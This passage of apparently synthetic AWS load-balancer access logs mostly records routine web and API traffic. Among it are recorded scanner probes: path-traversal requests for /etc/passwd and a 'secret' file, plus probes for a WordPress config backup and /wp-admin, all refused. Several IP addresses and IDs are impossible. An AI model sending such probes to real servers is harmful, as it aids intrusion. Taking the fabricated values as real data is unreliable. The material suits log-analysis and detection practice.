arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd80-201f5bf9955c44418be356ea" "staging-alb.example.com" "-" 2 2024-11-01T00:25:20.330118Z "forward" "-" "-" "208.146.252.77:443" "200" "-" "-" +http 2024-11-01T00:25:21.224309Z staging-alb 130.61.47.100:56572 150.226.180.151:80 0.039090 0.070060 0.131690 200 200 90 11648 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd81-ac5e3bbcd722408c9af21c86" "staging-alb.example.com" "-" 9 2024-11-01T00:25:21.224309Z "forward" "-" "-" "150.226.180.151:80" "200" "-" "-" +https 2024-11-01T00:25:21.757963Z prod-api-alb 5.158.84.136:24829 10.0.48.196:443 0.072891 0.340452 0.050899 301 301 841 12291 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd81-e89b1d30ccdc49c2bc07147e" "prod-api-alb.example.com" "-" 3 2024-11-01T00:25:21.757963Z "forward" "-" "-" "10.0.48.196:443" "301" "-" "-" +https 2024-11-01T00:25:22.721674Z staging-alb 185.42.91.123:31001 255.106.248.108:8080 0.059133 0.422841 0.011924 200 200 314 11310 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd82-a568a83881e942909093a786" "staging-alb.example.com" "-" 1 2024-11-01T00:25:22.721674Z "forward" "-" "-" "255.106.248.108:8080" "200" "-" "-" +http 2024-11-01T00:25:23.727247Z staging-alb 225.112.128.138:48050 246.96.190.193:80 0.049041 0.403718 0.135116 301 301 13 4878 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd83-d3806f2e76d1418b96f76d3a" "staging-alb.example.com" "-" 2 2024-11-01T00:25:23.727247Z "forward" "-" "-" "246.96.190.193:80" "301" "-" "-" +http 2024-11-01T00:25:25.619982Z staging-alb 82.221.89.1:18264 178.227.156.150:80 0.052220 0.252293 0.119276 200 200 862 9559 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd85-c47343d9757249c7989d0573" "staging-alb.example.com" "-" 0 2024-11-01T00:25:25.619982Z "forward" "-" "-" "178.227.156.150:80" "200" "-" "-" +https 2024-11-01T00:25:27.529264Z prod-api-alb 225.88.90.225:36466 10.0.90.201:443 0.077432 0.062997 0.070150 404 404 380 12799 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd87-51dd0754f20943fd9a260b12" "prod-api-alb.example.com" "-" 5 2024-11-01T00:25:27.529264Z "forward" "-" "-" "10.0.90.201:443" "404" "-" "-" +https 2024-11-01T00:25:28.333802Z staging-alb 203.44.152.155:29857 69.84.184.158:443 0.098077 0.403044 0.142549 404 404 103 4443 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd88-8cc888ab23264b278f698f9f" "staging-alb.example.com" "-" 5 2024-11-01T00:25:28.333802Z "forward" "-" "-" "69.84.184.158:443" "404" "-" "-" +https 2024-11-01T00:25:30.149053Z prod-web-alb 138.108.103.169:11650 10.0.197.33:443 0.090313 0.221849 0.000072 301 301 445 7053 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd8a-ba1c82a14db8400eb67cc54a" "prod-web-alb.example.com" "-" 8 2024-11-01T00:25:30.149053Z "forward" "-" "-" "10.0.197.33:443" "301" "-" "-" +https 2024-11-01T00:25:30.402209Z staging-alb 32.63.227.128:53588 159.190.166.219:8080 0.070823 0.367315 0.085504 302 302 186 14942 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd8a-fe5c7e64722c49f6b8981770" "staging-alb.example.com" "-" 2 2024-11-01T00:25:30.402209Z "forward" "-" "-" "159.190.166.219:8080" "302" "-" "-" +https 2024-11-01T00:25:31.555315Z prod-web-alb 237.233.140.77:31510 10.0.90.159:443 0.001233 0.201435 0.084019 200 200 820 3927 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd8b-7e1ed73e726b4e40ac9723c8" "prod-web-alb.example.com" "-" 3 2024-11-01T00:25:31.555315Z "forward" "-" "-" "10.0.90.159:443" "200" "-" "-" +http 2024-11-01T00:25:32.947462Z staging-alb 177.131.120.73:19043 216.215.233.142:8080 0.056834 0.252772 0.067434 200 200 552 7897 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd8c-94b68581e26a4fa5b5b2ebba" "staging-alb.example.com" "-" 3 2024-11-01T00:25:32.947462Z "forward" "-" "-" "216.215.233.142:8080" "200" "-" "-" +https 2024-11-01T00:25:34.568001Z prod-api-alb 239.213.211.173:26275 10.0.152.114:443 0.077175 0.474650 0.055565 302 302 436 13646 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd8e-d89d6110eedf4d00a7e80725" "prod-api-alb.example.com" "-" 10 2024-11-01T00:25:34.568001Z "forward" "-" "-" "10.0.152.114:443" "302" "-" "-" +https 2024-11-01T00:25:36.006659Z prod-web-alb 30.158.122.84:21331 10.0.239.56:443 0.078314 0.051782 0.012399 302 302 819 7867 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd90-fb2678ae275f45a39e087b9a" "prod-web-alb.example.com" "-" 8 2024-11-01T00:25:36.006659Z "forward" "-" "-" "10.0.239.56:443" "302" "-" "-" +https 2024-11-01T00:25:36.613674Z prod-api-alb 249.11.215.34:21621 10.0.183.43:443 0.055836 0.313726 0.046807 302 302 879 6257 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd90-052d52024c874ce681ac96d0" "prod-api-alb.example.com" "-" 7 2024-11-01T00:25:36.613674Z "forward" "-" "-" "10.0.183.43:443" "302" "-" "-" +https 2024-11-01T00:25:38.061595Z staging-alb 142.57.43.16:23410 156.211.197.3:443 0.027657 0.179394 0.138351 200 200 472 11448 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd92-c9c196b300d24f5e80719608" "staging-alb.example.com" "-" 4 2024-11-01T00:25:38.061595Z "forward" "-" "-" "156.211.197.3:443" "200" "-" "-" +http 2024-11-01T00:25:40.023881Z staging-alb 66.51.145.19:36115 242.174.69.9:8080 0.008925 0.036739 0.068583 404 404 842 3200 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd94-070826dd13f34a0095664d63" "staging-alb.example.com" "-" 3 2024-11-01T00:25:40.023881Z "forward" "-" "-" "242.174.69.9:8080" "404" "-" "-" +http 2024-11-01T00:25:40.746052Z staging-alb 254.148.242.18:28070 155.43.143.56:8080 0.120062 0.067353 0.136740 301 301 169 10790 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd94-c742eaf3d07b41d5b973f835" "staging-alb.example.com" "-" 9 2024-11-01T00:25:40.746052Z "forward" "-" "-" "155.43.143.56:8080" "301" "-" "-" +https 2024-11-01T00:25:41.752643Z staging-alb 121.175.165.212:32563 114.198.226.51:80 0.066698 0.090979 0.110536 200 200 593 2307 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd95-d1b0c94e6df44f879ddac4b8" "staging-alb.example.com" "-" 9 2024-11-01T00:25:41.752643Z "forward" "-" "-" "114.198.226.51:80" "200" "-" "-" +https 2024-11-01T00:25:43.009114Z prod-web-alb 41.90.23.173:62400 10.0.94.211:443 0.021592 0.107469 0.079699 404 404 638 2932 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd97-2284a14b68c349f9aaf1784c" "prod-web-alb.example.com" "-" 0 2024-11-01T00:25:43.009114Z "forward" "-" "-" "10.0.94.211:443" "404" "-" "-" +https 2024-11-01T00:25:44.593923Z prod-web-alb 131.78.139.190:31453 10.0.234.43:443 0.023993 0.134915 0.049260 200 200 958 9064 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd98-4c34c0523cf84f499bd74692" "-" "-" 7 2024-11-01T00:25:44.593923Z "forward" "-" "-" "10.0.234.43:443" "200" "-" "-" +https 2024-11-01T00:25:46.193822Z prod-web-alb 193.27.228.161:25706 10.0.155.77:443 0.012844 0.239464 0.041215 403 403 461 6997 "POST /wp-admin HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd9a-64cfff982e4b473f998f1845" "-" "-" 10 2024-11-01T00:25:46.193822Z "forward" "-" "-" "10.0.155.77:443" "403" "-" "-" +http 2024-11-01T00:25:47.421529Z staging-alb 233.171.15.123:29349 104.241.179.50:80 0.136206 0.573622 0.013792 404 404 777 3543 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd9b-91415de7092e4e428f1a0277" "staging-alb.example.com" "-" 0 2024-11-01T00:25:47.421529Z "forward" "-" "-" "104.241.179.50:80" "404" "-" "-" +https 2024-11-01T00:25:47.639058Z prod-web-alb 238.124.106.20:19008 10.0.123.157:443 0.076008 0.123213 0.001445 404 404 878 1723 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd9b-df34d5575fde46e189a40bd8" "prod-web-alb.example.com" "-" 5 2024-11-01T00:25:47.639058Z "forward" "-" "-" "10.0.123.157:443" "404" "-" "-" +http 2024-11-01T00:25:48.750409Z staging-alb 6.59.109.169:59979 109.25.146.234:80 0.083500 0.451994 0.131296 200 200 398 14282 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd9c-8882f0206edc471b80c0f429" "staging-alb.example.com" "-" 9 2024-11-01T00:25:48.750409Z "forward" "-" "-" "109.25.146.234:80" "200" "-" "-" +https 2024-11-01T00:25:49.443222Z prod-api-alb 42.58.49.15:33213 10.0.185.42:443 0.060128 0.266251 0.075492 200 200 121 6035 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd9d-bc025b04096948eea04d3195" "prod-api-alb.example.com" "-" 10 2024-11-01T00:25:49.443222Z "forward" "-" "-" "10.0.185.42:443" "200" "-" "-" +https 2024-11-01T00:25:50.738810Z prod-web-alb 193.27.228.181:43710 10.0.226.119:443 0.087304 0.219843 0.061813 403 403 336 231 "GET /static/../../secret HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd9e-195f8e0fcb9b416bba92165e" "-" "-" 2 2024-11-01T00:25:50.738810Z "forward" "-" "-" "10.0.226.119:443" "403" "-" "-" +https 2024-11-01T00:25:50.852848Z prod-api-alb 45.155.205.151:38910 10.0.4.228:443 0.064483 0.199938 0.099290 401 401 286 10652 "POST /wp-config.php.bak HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd9e-8b10a1bbc2ec40f88f4ed04d" "-" "-" 8 2024-11-01T00:25:50.852848Z "forward" "-" "-" "10.0.4.228:443" "401" "-" "-" +http 2024-11-01T00:25:52.814941Z staging-alb 4.69.65.134:46787 26.124.212.123:443 0.131870 0.692793 0.003551 200 200 584 1229 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bda0-ff337c704778488c8f56baca" "staging-alb.example.com" "-" 2 2024-11-01T00:25:52.814941Z "forward" "-" "-" "26.124.212.123:443" "200" "-" "-" +https 2024-11-01T00:25:53.765500Z prod-api-alb 205.53.217.74:15720 10.0.55.61:443 0.085949 0.475192 0.098613 200 200 261 1126 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bda1-c19156c0aad94698be8a2e85" "prod-api-alb.example.com" "-" 5 2024-11-01T00:25:53.765500Z "forward" "-" "-" "10.0.55.61:443" "200" "-" "-" +https 2024-11-01T00:25:54.728916Z prod-api-alb 95.124.209.78:58993 10.0.224.78:443 0.080431 0.316440 0.092552 200 200 310 14931 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bda2-5cbfaf929c3e488297f4087c" "prod-api-alb.example.com" "-" 2 2024-11-01T00:25:54.728916Z "forward" "-" "-" "10.0.224.78:443" "200" "-" "-" +https 2024-11-01T00:25:54.981736Z prod-web-alb 225.203.120.230:40039 10.0.140.206:443 0.064915 0.246387 0.016903 200 200 339 11911 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bda2-5f78d86f92e34e75ab5cb56f" "prod-web-alb.example.com" "-" 0 2024-11-01T00:25:54.981736Z "forward" "-" "-" "10.0.140.206:443" "200" "-" "-" +https 2024-11-01T00:25:56.762871Z prod-api-alb 186.197.134.207:63115 10.0.94.18:443 0.014083 0.004518 0.016039 200 200 686 6519 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bda4-3e578aa14e584b8fb7183385" "prod-api-alb.example.com" "-" 5 2024-11-01T00:25:56.762871Z "forward" "-" "-" "10.0.94.18:443" "200" "-" "-" +https 2024-11-01T00:25:58.048855Z prod-api-alb 87.89.12.20:47200 10.0.160.74:443 0.051829 0.316256 0.027563 301 301 813 14118 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bda6-851d0faf52ce4cc7a6f6b3f5" "prod-api-alb.example.com" "-" 6 2024-11-01T00:25:58.048855Z "forward" "-" "-" "10.0.160.74:443" "301" "-" "-" +https 2024-11-01T00:25:59.194531Z prod-api-alb 193.27.228.135:53209 10.0.245.7:443 0.008006 0.427415 0.084726 403 403 984 7945 "GET /../../../etc/passwd HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bda7-339d4e5b1aac46a196fba776" "-" "-" 1 2024-11-01T00:25:59.194531Z "forward" "-" "-" "10.0.245.7:443" "403" "-" "-" +https 2024-11-01T00:26:00.964535Z prod-api-alb 208.90.187.93:16663 10.0.250.126:443 0.007693 0.080670 0.031935 302 302 446 8266 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bda8-5fbee1493741446680107731" "prod-api-alb.example.com" "-" 4 2024-11-01T00:26:00.964535Z "forward" "-" "-" "10.0.250.126:443" "302" "-" "-" +https 2024-11-01T00:26:02.199334Z prod-web-alb 121.173.178.216:28123 10.0.27.204:443 0.032036 0.336247 0.047153 302 302 769 1086 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bdaa-3c8c374185174cbb9c23e37b" "prod-web-alb.example.com" "-" 5 2024-11-01T00:26:02.199334Z "forward" "-" "-" "10.0.27.204:443" "302" "-" "-" +http 2024-11-01T00:26:03.583442Z staging-alb 154.194.127.222:45706 190.228.192.219:443 0.049545 0.356790 0.028780 301 301 552 9771 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdab-b50cbbd4658a4889af259870" "staging-alb.example.com" "-" 0 2024-11-01T00:26:03.583442Z "forward" "-" "-" "190.228.192.219:443" "301" "-" "-" +https 2024-11-01T00:26:05.262516Z prod-api-alb 217.37.139.78:38474 10.0.94.74:443 0.009525 0.250416 0.073527 200 200 182 6351 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bdad-874c618bb97648279ddcbf91" "prod-api-alb.example.com" "-" 8 2024-11-01T00:26:05.262516Z "forward" "-" "-" "10.0.94.74:443" "200" "-" "-" +https 2024-11-01T00:26:06.801333Z prod-api-alb 59.48.232.164:21260 10.0.6.73:443 0.027970 0.046528 0.003165 200 200 652 3707 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bdae-c426d95554cd4a85b8f01548" "prod-api-alb.example.com" "-" 4 2024-11-01T00:26:06.801333Z "forward" "-" "-" "10.0.6.73:443" "200" "-" "-" +https 2024-11-01T00:26:08.536042Z prod-api-alb 97.190.159.12:28233 10.0.90.187:443 0.054311 0.340542 0.050596 200 200 185 528 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bdb0-41262a32c8614ab191680f77" "prod-api-alb.example.com" "-" 5 2024-11-01T00:26:08.536042Z "forward" "-" "-" "10.0.90.187:443" "200" "-" "-" +https 2024-11-01T00:26:09.344037Z prod-api-alb 222.79.68.189:17906 10.0.50.121:443 0.000205 0.294368 0.005701 302 302 732 12668 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bdb1-9c0f9ef85752478887410f23" "prod-api-alb.example.com" "-" 10 2024-11-01T00:26:09.344037Z "forward" "-" "-" "10.0.50.121:443" "302" "-" "-" +http 2024-11-01T00:26:10.804589Z staging-alb 58.173.231.227:29062 61.98.184.254:8080 0.019366 0.048749 0.128242 200 200 994 6748 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdb2-1a9b9fa7b4d64685b9fd3940" "staging-alb.example.com" "-" 10 2024-11-01T00:26:10.804589Z "forward" "-" "-" "61.98.184.254:8080" "200" "-" "-" +https 2024-11-01T00:26:12.106690Z staging-alb 126.8.127.77:52373 69.116.164.227:8080 0.065594 0.347097 0.096675 200 200 397 5022 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdb4-90be994662de410aa41f7b8a" "staging-alb.example.com" "-" 3 2024-11-01T00:26:12.106690Z "forward" "-" "-" "69.116.164.227:8080" "200" "-" "-" +https 2024-11-01T00:26:12.950671Z staging-alb 47.29.162.90:16358 182.9.96.250:80 0.095548 0.627373 0.022371 200 200 404 5721 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdb4-c3a60c666add44939d4c9072" "staging-alb.example.com" "-" 5 2024-11-01T00:26:12.950671Z "forward" "-" "-" "182.9.96.250:80" "200" "-" "-" +https 2024-11-01T00:26:14.429794Z prod-api-alb 0.226.155.172:10978 10.0.94.14:443 0.057810 0.455304 0.040388 200 200 464 5665 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bdb6-a83943ac8362436fb9ca5aef" "prod-api-alb.example.com" "-" 7 2024-11-01T00:26:14.429794Z "forward" "-" "-" "10.0.94.14:443" "200" "-" "-" +http 2024-11-01T00:26:16.096111Z staging-alb 215.154.237.8:25441 107.155.172.4:8080 0.127980 0.434979 0.054128 200 200 838 12627 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdb8-58de45c1e8f14f3dab74a919" "staging-alb.example.com" "-" 0 2024-11-01T00:26:16.096111Z "forward" "-" "-" "107.155.172.4:8080" "200" "-" "-" +http 2024-11-01T00:26:17.696582Z staging-alb 98.56.25.119:14660 74.52.32.104:8080 0.136482 0.024559 0.111784 200 200 659 5621 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdb9-a18b6cb43b2f4080b6945ba7" "staging-alb.example.com" "-" 6 2024-11-01T00:26:17.696582Z "forward" "-" "-" "74.52.32.104:8080" "200" "-" "-" +https 2024-11-01T00:26:18.215066Z prod-web-alb 24.3.42.18:64067 10.0.111.62:443 0.094859 0.401553 0.080363 404 404 959 10958 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 